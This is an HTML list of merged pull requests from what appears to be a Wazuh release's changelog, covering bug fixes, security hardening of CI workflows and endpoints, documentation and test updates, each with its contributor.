<li>Add groups path validation by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/TomasTurina/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/TomasTurina">@TomasTurina</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4182653833" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/35230" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/35230/hovercard" href="https://github.com/wazuh/wazuh/pull/35230">#35230</a></li>
<li>Fix audit log cache overflow for events with many records by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vikman90/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vikman90">@vikman90</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4217374538" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/35285" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/35285/hovercard" href="https://github.com/wazuh/wazuh/pull/35285">#35285</a></li>
<li>Update dependencies: cryptography, requests by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/javiersanchz/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/javiersanchz">@javiersanchz</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4225608568" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/35331" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/35331/hovercard" href="https://github.com/wazuh/wazuh/pull/35331">#35331</a></li>
<li>Fix memory allocation for long registry paths in syscheck by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Darioortegaleyva/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Darioortegaleyva">@Darioortegaleyva</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4217521486" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/35287" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/35287/hovercard" href="https://github.com/wazuh/wazuh/pull/35287">#35287</a></li>
<li>Fix for rootcheck not generating findings by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jpcerrone/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jpcerrone">@jpcerrone</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4218701173" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/35297" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/35297/hovercard" href="https://github.com/wazuh/wazuh/pull/35297">#35297</a></li>
<li>Bump 4.14.6 branch by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/wazuhci/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/wazuhci">@wazuhci</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4238432834" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/35379" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/35379/hovercard" href="https://github.com/wazuh/wazuh/pull/35379">#35379</a></li>
<li>Fix coverity findings in group validation paths by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/TomasTurina/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/TomasTurina">@TomasTurina</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4241604123" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/35384" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/35384/hovercard" href="https://github.com/wazuh/wazuh/pull/35384">#35384</a></li>
<li>Fix active config endpoint and Integration tests by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/FrancoRivero2025/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/FrancoRivero2025">@FrancoRivero2025</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4254596456" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/35412" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/35412/hovercard" href="https://github.com/wazuh/wazuh/pull/35412">#35412</a></li>
<li>Server integration tests flaky test by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Antoniogm03/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Antoniogm03">@Antoniogm03</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4230921793" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/35353" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/35353/hovercard" href="https://github.com/wazuh/wazuh/pull/35353">#35353</a></li>
<li>Skip macOS receipts that are no longer installed by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/anromerom/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/anromerom">@anromerom</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4239166810" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/35380" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/35380/hovercard" href="https://github.com/wazuh/wazuh/pull/35380">#35380</a></li>
<li>Revert tag references to main after v5.0.0-beta1 by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jotacarma90/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jotacarma90">@jotacarma90</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4268956178" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/35447" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/35447/hovercard" href="https://github.com/wazuh/wazuh/pull/35447">#35447</a></li>
<li>Improve the code to hide information when a user doesn't have permission by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/FrancoRivero2025/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/FrancoRivero2025">@FrancoRivero2025</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4220169532" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/35307" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/35307/hovercard" href="https://github.com/wazuh/wazuh/pull/35307">#35307</a></li>
<li>Validate current user in update-user endpoint by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vikman90/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vikman90">@vikman90</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4268213128" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/35442" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/35442/hovercard" href="https://github.com/wazuh/wazuh/pull/35442">#35442</a></li>
<li>Complete wazuh server requirements docs by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/TomasTurina/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/TomasTurina">@TomasTurina</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4271247024" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/35459" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/35459/hovercard" href="https://github.com/wazuh/wazuh/pull/35459">#35459</a></li>
<li>Optimize error handling geoip locator by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/LucioDonda/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/LucioDonda">@LucioDonda</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4173198598" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/35187" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/35187/hovercard" href="https://github.com/wazuh/wazuh/pull/35187">#35187</a></li>
<li>wazuh-engine: <code>/logtest</code> endpoint cleanup temporary fields by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/matigarciadev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/matigarciadev">@matigarciadev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4257609555" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/35420" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/35420/hovercard" href="https://github.com/wazuh/wazuh/pull/35420">#35420</a></li>
<li>Add fast metrics module by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/NahuFigueroa97/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/NahuFigueroa97">@NahuFigueroa97</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4145112904" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/35142" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/35142/hovercard" href="https://github.com/wazuh/wazuh/pull/35142">#35142</a></li>
<li>Bump 4.14.5 branch by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/wazuhci/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/wazuhci">@wazuhci</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4274207880" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/35465" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/35465/hovercard" href="https://github.com/wazuh/wazuh/pull/35465">#35465</a></li>
<li>Update changelog for v4.14.5-rc1 by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jotacarma90/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jotacarma90">@jotacarma90</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4274469834" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/35467" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/35467/hovercard" href="https://github.com/wazuh/wazuh/pull/35467">#35467</a></li>
<li>Fix guardduty.py size in check files by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/MarcelKemp/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/MarcelKemp">@MarcelKemp</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4275398551" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/35472" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/35472/hovercard" href="https://github.com/wazuh/wazuh/pull/35472">#35472</a></li>
<li>Update uninstall procedure for Windows. by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rjcausarano/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rjcausarano">@rjcausarano</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4269726738" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/35451" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/35451/hovercard" href="https://github.com/wazuh/wazuh/pull/35451">#35451</a></li>
<li>Ms-graph - handle relationships that contain '/' by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jpcerrone/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jpcerrone">@jpcerrone</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4264296617" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/35431" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/35431/hovercard" href="https://github.com/wazuh/wazuh/pull/35431">#35431</a></li>
<li>Validate IP address format in host_ip field for Windows by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/cborla/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/cborla">@cborla</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4257323072" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/35418" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/35418/hovercard" href="https://github.com/wazuh/wazuh/pull/35418">#35418</a></li>
<li>Avoid using keyentries counter as index by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/MiguelazoDS/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/MiguelazoDS">@MiguelazoDS</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4270559067" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/35456" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/35456/hovercard" href="https://github.com/wazuh/wazuh/pull/35456">#35456</a></li>
<li>Linux  test integration workflow improvements  by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rovogel/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rovogel">@rovogel</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4104047210" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/35060" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/35060/hovercard" href="https://github.com/wazuh/wazuh/pull/35060">#35060</a></li>
<li>Enhancement/35084 improve it mac os by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rovogel/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rovogel">@rovogel</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4217730438" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/35289" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/35289/hovercard" href="https://github.com/wazuh/wazuh/pull/35289">#35289</a></li>
<li>Resume modules before manager sync to reduce coordination pause window by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/lchico/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/lchico">@lchico</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4231785126" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/35357" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/35357/hovercard" href="https://github.com/wazuh/wazuh/pull/35357">#35357</a></li>
<li>Check first scan termination before sync start by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/anromerom/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/anromerom">@anromerom</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4270519249" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/35455" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/35455/hovercard" href="https://github.com/wazuh/wazuh/pull/35455">#35455</a></li>
<li>Remove dead python code by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/TomasTurina/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/TomasTurina">@TomasTurina</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4283426264" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/35533" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/35533/hovercard" href="https://github.com/wazuh/wazuh/pull/35533">#35533</a></li>
<li>Include source IP in wazuh-remoted log messages by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/20syldev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/20syldev">@20syldev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4231792036" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/35358" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/35358/hovercard" href="https://github.com/wazuh/wazuh/pull/35358">#35358</a></li>
<li>Feed update re-scan revision by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ignaciogalle12git/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ignaciogalle12git">@ignaciogalle12git</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4210897070" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/35271" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/35271/hovercard" href="https://github.com/wazuh/wazuh/pull/35271">#35271</a></li>
<li>Backport: Fix FIM flaky integration tests by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Nicogp/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Nicogp">@Nicogp</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4283567769" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/35535" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/35535/hovercard" href="https://github.com/wazuh/wazuh/pull/35535">#35535</a></li>
<li>Migrate CM store-crud resources to native JSON flow by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jam300/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jam300">@jam300</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4157498935" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/35172" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/35172/hovercard" href="https://github.com/wazuh/wazuh/pull/35172">#35172</a></li>
<li>wazuh-engine: Engine rename archiver module to event dumper by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/matigarciadev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/matigarciadev">@matigarciadev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4276825573" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/35477" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/35477/hovercard" href="https://github.com/wazuh/wazuh/pull/35477">#35477</a></li>
<li>Update inventory sync documentation by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/TomasTurina/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/TomasTurina">@TomasTurina</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4298327488" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/35587" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/35587/hovercard" href="https://github.com/wazuh/wazuh/pull/35587">#35587</a></li>
<li>Fix workflow input name: set-as-main → set_as_main in bumper workflow by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jotacarma90/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jotacarma90">@jotacarma90</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4301149991" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/35592" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/35592/hovercard" href="https://github.com/wazuh/wazuh/pull/35592">#35592</a></li>
<li>Remove leftover code from deprecated Agent 0 by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/fcontrerasc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/fcontrerasc">@fcontrerasc</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4174518738" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/35195" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/35195/hovercard" href="https://github.com/wazuh/wazuh/pull/35195">#35195</a></li>
<li>Synchronize Syscollector and VD queue databases during the flush process by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rjcausarano/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rjcausarano">@rjcausarano</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4282488111" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/35518" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/35518/hovercard" href="https://github.com/wazuh/wazuh/pull/35518">#35518</a></li>
<li>Add manager architecture documentation by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/TomasTurina/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/TomasTurina">@TomasTurina</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4304896313" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/35607" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/35607/hovercard" href="https://github.com/wazuh/wazuh/pull/35607">#35607</a></li>
<li>Early populate metadata after handshake by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/fcontrerasc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/fcontrerasc">@fcontrerasc</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4242236446" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/35387" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/35387/hovercard" href="https://github.com/wazuh/wazuh/pull/35387">#35387</a></li>
<li>Fix script injection vulnerabilities in CI workflows by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jpcerrone/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jpcerrone">@jpcerrone</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4277573631" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/35480" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/35480/hovercard" href="https://github.com/wazuh/wazuh/pull/35480">#35480</a></li>
<li>(4x) Fix script injection vulnerabilities in CI workflows by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jpcerrone/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jpcerrone">@jpcerrone</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4302861825" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/35598" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/35598/hovercard" href="https://github.com/wazuh/wazuh/pull/35598">#35598</a></li>
<li>Update manager index names to sync by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/juliancnn/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/juliancnn">@juliancnn</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4283234363" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/35527" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/35527/hovercard" href="https://github.com/wazuh/wazuh/pull/35527">#35527</a></li>
<li>Suppress unexpected stateless events after SCA initial scan by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jr0me/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jr0me">@jr0me</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4264427701" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/35432" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/35432/hovercard" href="https://github.com/wazuh/wazuh/pull/35432">#35432</a></li>
<li>Dynamic getWazuhHome by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jepalfer/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jepalfer">@jepalfer</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4185052022" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/35232" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/35232/hovercard" href="https://github.com/wazuh/wazuh/pull/35232">#35232</a></li>
<li>Improve fast metrics interface managment and test by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/NahuFigueroa97/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/NahuFigueroa97">@NahuFigueroa97</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4285231413" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/35540" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/35540/hovercard" href="https://github.com/wazuh/wazuh/pull/35540">#35540</a></li>
<li>Engine - Add Filter Sync by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/NahuFigueroa97/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/NahuFigueroa97">@NahuFigueroa97</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4305822158" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/35613" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/35613/hovercard" href="https://github.com/wazuh/wazuh/pull/35613">#35613</a></li>
<li>Persist VD first-sync state in table_metadata by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/anromerom/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/anromerom">@anromerom</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4298795591" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/35590" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/35590/hovercard" href="https://github.com/wazuh/wazuh/pull/35590">#35590</a></li>
<li>Merge branch '4.14.5' into '4.14.6' by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jotacarma90/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jotacarma90">@jotacarma90</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4315471645" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/35655" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/35655/hovercard" href="https://github.com/wazuh/wazuh/pull/35655">#35655</a></li>
<li>Normalize stateless check fields by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/AnDumu/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/AnDumu">@AnDumu</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4250513923" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/35404" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/35404/hovercard" href="https://github.com/wazuh/wazuh/pull/35404">#35404</a></li>
<li>Fix token validation race condition after revoke by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/javiersanchz/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/javiersanchz">@javiersanchz</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4180380748" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/35218" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/35218/hovercard" href="https://github.com/wazuh/wazuh/pull/35218">#35218</a></li>
<li>unify sandbox and trace into a single static parameter in policy creation by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/LucioDonda/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/LucioDonda">@LucioDonda</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4285465744" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/35541" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/35541/hovercard" href="https://github.com/wazuh/wazuh/pull/35541">#35541</a></li>
<li>Flush feed RocksDB memtable before marking feed ready on download completion by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Nicogp/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Nicogp">@Nicogp</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4312196977" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/35639" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/35639/hovercard" href="https://github.com/wazuh/wazuh/pull/35639">#35639</a></li>
